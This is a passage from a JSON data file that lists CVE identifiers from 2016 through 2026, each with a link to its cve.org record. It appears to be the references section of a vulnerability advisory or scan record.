      "url": "https://www.cve.org/CVERecord?id=CVE-2023-22946"
    },
    {
      "name": "CVE-2026-65904",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65904"
    },
    {
      "name": "CVE-2026-58061",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58061"
    },
    {
      "name": "CVE-2025-12758",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-12758"
    },
    {
      "name": "CVE-2026-40175",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40175"
    },
    {
      "name": "CVE-2023-52469",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52469"
    },
    {
      "name": "CVE-2024-26740",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26740"
    },
    {
      "name": "CVE-2026-69151",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-69151"
    },
    {
      "name": "CVE-2024-35809",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35809"
    },
    {
      "name": "CVE-2024-43854",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43854"
    },
    {
      "name": "CVE-2024-50264",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50264"
    },
    {
      "name": "CVE-2024-41005",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41005"
    },
    {
      "name": "CVE-2024-44935",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-44935"
    },
    {
      "name": "CVE-2026-27970",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27970"
    },
    {
      "name": "CVE-2021-47468",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47468"
    },
    {
      "name": "CVE-2023-52877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52877"
    },
    {
      "name": "CVE-2026-9320",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-9320"
    },
    {
      "name": "CVE-2026-49459",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49459"
    },
    {
      "name": "CVE-2023-52809",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52809"
    },
    {
      "name": "CVE-2021-36090",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-36090"
    },
    {
      "name": "CVE-2021-27568",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-27568"
    },
    {
      "name": "CVE-2026-6053",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6053"
    },
    {
      "name": "CVE-2024-41039",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41039"
    },
    {
      "name": "CVE-2024-23953",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-23953"
    },
    {
      "name": "CVE-2026-54265",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54265"
    },
    {
      "name": "CVE-2025-68161",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-68161"
    },
    {
      "name": "CVE-2023-52451",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52451"
    },
    {
      "name": "CVE-2024-41097",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41097"
    },
    {
      "name": "CVE-2021-38296",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-38296"
    },
    {
      "name": "CVE-2025-21785",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-21785"
    },
    {
      "name": "CVE-2022-24823",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-24823"
    },
    {
      "name": "CVE-2024-39472",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39472"
    },
    {
      "name": "CVE-2024-35790",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35790"
    },
    {
      "name": "CVE-2024-26649",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26649"
    },
    {
      "name": "CVE-2026-56624",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-56624"
    },
    {
      "name": "CVE-2023-34455",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-34455"
    },
    {
      "name": "CVE-2021-41184",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-41184"
    },
    {
      "name": "CVE-2024-33621",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-33621"
    },
    {
      "name": "CVE-2024-36978",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36978"
    },
    {
      "name": "CVE-2024-29131",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29131"
    },
    {
      "name": "CVE-2021-41183",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-41183"
    },
    {
      "name": "CVE-2024-42225",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42225"
    },
    {
      "name": "CVE-2024-29869",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29869"
    },
    {
      "name": "CVE-2026-41240",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41240"
    },
    {
      "name": "CVE-2026-67317",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67317"
    },
    {
      "name": "CVE-2026-40478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40478"
    },
    {
      "name": "CVE-2026-22748",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22748"
    },
    {
      "name": "CVE-2025-33012",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-33012"
    },
    {
      "name": "CVE-2024-41066",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41066"
    },
    {
      "name": "CVE-2026-34479",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-34479"
    },
    {
      "name": "CVE-2024-52804",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-52804"
    },
    {
      "name": "CVE-2026-43828",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43828"
    },
    {
      "name": "CVE-2026-42040",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42040"
    },
    {
      "name": "CVE-2023-36478",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-36478"
    },
    {
      "name": "CVE-2021-37136",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-37136"
    },
    {
      "name": "CVE-2018-1330",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1330"
    },
    {
      "name": "CVE-2026-47027",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47027"
    },
    {
      "name": "CVE-2024-35947",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35947"
    },
    {
      "name": "CVE-2026-47058",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47058"
    },
    {
      "name": "CVE-2024-36927",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36927"
    },
    {
      "name": "CVE-2024-42244",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42244"
    },
    {
      "name": "CVE-2022-48836",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48836"
    },
    {
      "name": "CVE-2026-16441",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16441"
    },
    {
      "name": "CVE-2024-6763",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6763"
    },
    {
      "name": "CVE-2026-6052",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-6052"
    },
    {
      "name": "CVE-2024-41012",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41012"
    },
    {
      "name": "CVE-2024-53088",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-53088"
    },
    {
      "name": "CVE-2024-26826",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26826"
    },
    {
      "name": "CVE-2026-14981",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14981"
    },
    {
      "name": "CVE-2026-58060",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58060"
    },
    {
      "name": "CVE-2024-26583",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26583"
    },
    {
      "name": "CVE-2021-21295",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-21295"
    },
    {
      "name": "CVE-2024-36922",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36922"
    },
    {
      "name": "CVE-2026-42778",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42778"
    },
    {
      "name": "CVE-2026-14683",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14683"
    },
    {
      "name": "CVE-2021-47527",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47527"
    },
    {
      "name": "CVE-2024-35847",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35847"
    },
    {
      "name": "CVE-2024-35896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35896"
    },
    {
      "name": "CVE-2024-40912",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40912"
    },
    {
      "name": "CVE-2024-26733",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26733"
    },
    {
      "name": "CVE-2026-14529",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-14529"
    },
    {
      "name": "CVE-2019-0204",
      "url": "https://www.cve.org/CVERecord?id=CVE-2019-0204"
    },
    {
      "name": "CVE-2024-26851",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26851"
    },
    {
      "name": "CVE-2022-2047",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-2047"
    },
    {
      "name": "CVE-2024-39487",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39487"
    },
    {
      "name": "CVE-2018-11793",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-11793"
    },
    {
      "name": "CVE-2026-22741",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-22741"
    },
    {
      "name": "CVE-2023-39410",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-39410"
    },
    {
      "name": "CVE-2024-35888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35888"
    },
    {
      "name": "CVE-2024-25710",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-25710"
    },
    {
      "name": "CVE-2026-12802",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12802"
    },
    {
      "name": "CVE-2024-26837",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26837"
    },
    {
      "name": "CVE-2024-7254",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-7254"
    },
    {
      "name": "CVE-2024-46695",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-46695"
    },
    {
      "name": "CVE-2022-48773",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48773"
    },
    {
      "name": "CVE-2020-9492",
      "url": "https://www.cve.org/CVERecord?id=CVE-2020-9492"
    },
    {
      "name": "CVE-2023-52798",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52798"
    },
    {
      "name": "CVE-2024-31076",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-31076"
    },
    {
      "name": "CVE-2026-40181",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40181"
    },
    {
      "name": "CVE-2023-52700",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52700"
    },
    {
      "name": "CVE-2025-14923",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-14923"
    },
    {
      "name": "CVE-2024-36901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36901"
    },
    {
      "name": "CVE-2026-10649",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10649"
    },
    {
      "name": "CVE-2026-50020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50020"
    },
    {
      "name": "CVE-2024-40998",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40998"
    },
    {
      "name": "CVE-2024-27013",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27013"
    },
    {
      "name": "CVE-2024-29133",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-29133"
    },
    {
      "name": "CVE-2024-41090",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41090"
    },
    {
      "name": "CVE-2026-54512",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54512"
    },
    {
      "name": "CVE-2026-58063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-58063"
    },
    {
      "name": "CVE-2026-57819",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-57819"
    },
    {
      "name": "CVE-2026-42578",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42578"
    },
    {
      "name": "CVE-2021-47624",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47624"
    },
    {
      "name": "CVE-2021-47495",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47495"
    },
    {
      "name": "CVE-2024-35910",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35910"
    },
    {
      "name": "CVE-2024-26675",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26675"
    },
    {
      "name": "CVE-2022-48757",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48757"
    },
    {
      "name": "CVE-2024-24857",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-24857"
    },
    {
      "name": "CVE-2026-65899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-65899"
    },
    {
      "name": "CVE-2026-43514",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43514"
    },
    {
      "name": "CVE-2026-45773",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45773"
    },
    {
      "name": "CVE-2026-67319",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-67319"
    },
    {
      "name": "CVE-2024-49949",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-49949"
    },
    {
      "name": "CVE-2026-10532",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10532"
    },
    {
      "name": "CVE-2023-52470",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52470"
    },
    {
      "name": "CVE-2024-26906",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26906"
    },
    {
      "name": "CVE-2022-24785",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-24785"
    },
    {
      "name": "CVE-2025-2518",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-2518"
    },
    {
      "name": "CVE-2024-36971",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36971"
    },
    {
      "name": "CVE-2024-26840",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26840"
    },
    {
      "name": "CVE-2023-46120",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-46120"
    },
    {
      "name": "CVE-2024-50099",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50099"
    },
    {
      "name": "CVE-2024-57979",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-57979"
    },
    {
      "name": "CVE-2024-52046",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-52046"
    },
    {
      "name": "CVE-2021-43797",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-43797"
    },
    {
      "name": "CVE-2026-70907",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-70907"
    },
    {
      "name": "CVE-2026-48589",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-48589"
    },
    {
      "name": "CVE-2024-26584",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26584"
    },
    {
      "name": "CVE-2021-37404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-37404"
    },
    {
      "name": "CVE-2021-47386",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47386"
    },
    {
      "name": "CVE-2023-52832",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52832"
    },
    {
      "name": "CVE-2026-42404",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42404"
    },
    {
      "name": "CVE-2024-41092",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41092"
    },
    {
      "name": "CVE-2022-45787",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-45787"
    },
    {
      "name": "CVE-2024-40995",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40995"
    },
    {
      "name": "CVE-2018-1199",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1199"
    },
    {
      "name": "CVE-2024-14041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-14041"
    },
    {
      "name": "CVE-2021-47412",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47412"
    },
    {
      "name": "CVE-2022-48754",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48754"
    },
    {
      "name": "CVE-2026-41586",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41586"
    },
    {
      "name": "CVE-2026-16192",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16192"
    },
    {
      "name": "CVE-2024-5569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-5569"
    },
    {
      "name": "CVE-2026-2950",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2950"
    },
    {
      "name": "CVE-2016-6811",
      "url": "https://www.cve.org/CVERecord?id=CVE-2016-6811"
    },
    {
      "name": "CVE-2023-52662",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52662"
    },
    {
      "name": "CVE-2026-68945",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-68945"
    },
    {
      "name": "CVE-2024-42238",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42238"
    },
    {
      "name": "CVE-2023-44981",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-44981"
    },
    {
      "name": "CVE-2026-40895",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40895"
    },
    {
      "name": "CVE-2026-47063",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47063"
    },
    {
      "name": "CVE-2025-1493",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-1493"
    },
    {
      "name": "CVE-2026-12816",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-12816"
    },
    {
      "name": "CVE-2021-47466",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47466"
    },
    {
      "name": "CVE-2024-40929",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40929"
    },
    {
      "name": "CVE-2024-43830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43830"
    },
    {
      "name": "CVE-2026-59083",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59083"
    },
    {
      "name": "CVE-2025-27553",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-27553"
    },
    {
      "name": "CVE-2024-47535",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47535"
    },
    {
      "name": "CVE-2026-45772",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45772"
    },
    {
      "name": "CVE-2023-52428",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52428"
    },
    {
      "name": "CVE-2021-47289",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47289"
    },
    {
      "name": "CVE-2023-52730",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52730"
    },
    {
      "name": "CVE-2024-42090",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42090"
    },
    {
      "name": "CVE-2026-41606",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41606"
    },
    {
      "name": "CVE-2024-36941",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36941"
    },
    {
      "name": "CVE-2026-59888",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59888"
    },
    {
      "name": "CVE-2024-36896",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36896"
    },
    {
      "name": "CVE-2026-10543",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-10543"
    },
    {
      "name": "CVE-2023-6040",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-6040"
    },
    {
      "name": "CVE-2026-13149",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13149"
    },
    {
      "name": "CVE-2024-26958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26958"
    },
    {
      "name": "CVE-2024-36902",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36902"
    },
    {
      "name": "CVE-2026-47021",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47021"
    },
    {
      "name": "CVE-2024-41042",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41042"
    },
    {
      "name": "CVE-2024-6485",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-6485"
    },
    {
      "name": "CVE-2026-47842",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-47842"
    },
    {
      "name": "CVE-2025-3050",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-3050"
    },
    {
      "name": "CVE-2023-40167",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-40167"
    },
    {
      "name": "CVE-2018-1274",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-1274"
    },
    {
      "name": "CVE-2021-47383",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47383"
    },
    {
      "name": "CVE-2026-59898",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59898"
    },
    {
      "name": "CVE-2026-16440",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-16440"
    },
    {
      "name": "CVE-2024-36924",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36924"
    },
    {
      "name": "CVE-2026-64958",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-64958"
    },
    {
      "name": "CVE-2024-9823",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-9823"
    },
    {
      "name": "CVE-2024-35835",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35835"
    },
    {
      "name": "CVE-2024-38570",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38570"
    },
    {
      "name": "CVE-2026-66422",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-66422"
    },
    {
      "name": "CVE-2024-26939",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26939"
    },
    {
      "name": "CVE-2021-22569",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-22569"
    },
    {
      "name": "CVE-2024-26960",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26960"
    },
    {
      "name": "CVE-2024-26735",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26735"
    },
    {
      "name": "CVE-2024-36489",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36489"
    },
    {
      "name": "CVE-2024-41762",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-41762"
    },
    {
      "name": "CVE-2024-40901",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40901"
    },
    {
      "name": "CVE-2023-6378",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-6378"
    },
    {
      "name": "CVE-2024-38575",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38575"
    },
    {
      "name": "CVE-2021-47384",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47384"
    },
    {
      "name": "CVE-2026-41006",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41006"
    },
    {
      "name": "CVE-2026-41711",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-41711"
    },
    {
      "name": "CVE-2021-47321",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47321"
    },
    {
      "name": "CVE-2026-45205",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-45205"
    },
    {
      "name": "CVE-2026-27830",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-27830"
    },
    {
      "name": "CVE-2023-52679",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52679"
    },
    {
      "name": "CVE-2024-39471",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39471"
    },
    {
      "name": "CVE-2021-47018",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47018"
    },
    {
      "name": "CVE-2026-44487",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-44487"
    },
    {
      "name": "CVE-2026-13506",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-13506"
    },
    {
      "name": "CVE-2024-26640",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26640"
    },
    {
      "name": "CVE-2024-35899",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35899"
    },
    {
      "name": "CVE-2023-52881",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52881"
    },
    {
      "name": "CVE-2026-2482",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2482"
    },
    {
      "name": "CVE-2026-11897",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-11897"
    },
    {
      "name": "CVE-2026-35092",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-35092"
    },
    {
      "name": "CVE-2026-42038",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42038"
    },
    {
      "name": "CVE-2026-49844",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-49844"
    },
    {
      "name": "CVE-2024-36919",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-36919"
    },
    {
      "name": "CVE-2021-46972",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-46972"
    },
    {
      "name": "CVE-2026-18096",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-18096"
    },
    {
      "name": "CVE-2024-35823",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35823"
    },
    {
      "name": "CVE-2022-34169",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-34169"
    },
    {
      "name": "CVE-2026-2332",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-2332"
    },
    {
      "name": "CVE-2026-1561",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-1561"
    },
    {
      "name": "CVE-2024-26923",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26923"
    },
    {
      "name": "CVE-2024-40954",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-40954"
    },
    {
      "name": "CVE-2024-35989",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35989"
    },
    {
      "name": "CVE-2026-42039",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42039"
    },
    {
      "name": "CVE-2026-59879",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59879"
    },
    {
      "name": "CVE-2024-35877",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35877"
    },
    {
      "name": "CVE-2026-46968",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-46968"
    },
    {
      "name": "CVE-2026-40972",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40972"
    },
    {
      "name": "CVE-2024-43892",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-43892"
    },
    {
      "name": "CVE-2026-50010",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-50010"
    },
    {
      "name": "CVE-2024-27020",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-27020"
    },
    {
      "name": "CVE-2022-48760",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48760"
    },
    {
      "name": "CVE-2024-42096",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42096"
    },
    {
      "name": "CVE-2023-52658",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-52658"
    },
    {
      "name": "CVE-2024-26769",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-26769"
    },
    {
      "name": "CVE-2023-36479",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-36479"
    },
    {
      "name": "CVE-2024-50256",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-50256"
    },
    {
      "name": "CVE-2026-59296",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-59296"
    },
    {
      "name": "CVE-2024-38619",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38619"
    },
    {
      "name": "CVE-2024-38573",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-38573"
    },
    {
      "name": "CVE-2026-33672",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-33672"
    },
    {
      "name": "CVE-2026-75838",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-75838"
    },
    {
      "name": "CVE-2018-14041",
      "url": "https://www.cve.org/CVERecord?id=CVE-2018-14041"
    },
    {
      "name": "CVE-2022-48804",
      "url": "https://www.cve.org/CVERecord?id=CVE-2022-48804"
    },
    {
      "name": "CVE-2026-40983",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-40983"
    },
    {
      "name": "CVE-2024-24549",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-24549"
    },
    {
      "name": "CVE-2026-42581",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42581"
    },
    {
      "name": "CVE-2021-47408",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47408"
    },
    {
      "name": "CVE-2024-39476",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-39476"
    },
    {
      "name": "CVE-2025-0915",
      "url": "https://www.cve.org/CVERecord?id=CVE-2025-0915"
    },
    {
      "name": "CVE-2024-47668",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-47668"
    },
    {
      "name": "CVE-2023-29267",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-29267"
    },
    {
      "name": "CVE-2024-35938",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-35938"
    },
    {
      "name": "CVE-2026-42779",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-42779"
    },
    {
      "name": "CVE-2021-47097",
      "url": "https://www.cve.org/CVERecord?id=CVE-2021-47097"
    },
    {
      "name": "CVE-2024-42322",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42322"
    },
    {
      "name": "CVE-2026-43513",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-43513"
    },
    {
      "name": "CVE-2023-28370",
      "url": "https://www.cve.org/CVERecord?id=CVE-2023-28370"
    },
    {
      "name": "CVE-2024-42094",
      "url": "https://www.cve.org/CVERecord?id=CVE-2024-42094"
    },
    {
      "name": "CVE-2026-54517",
      "url": "https://www.cve.org/CVERecord?id=CVE-2026-54517"
    },
    {
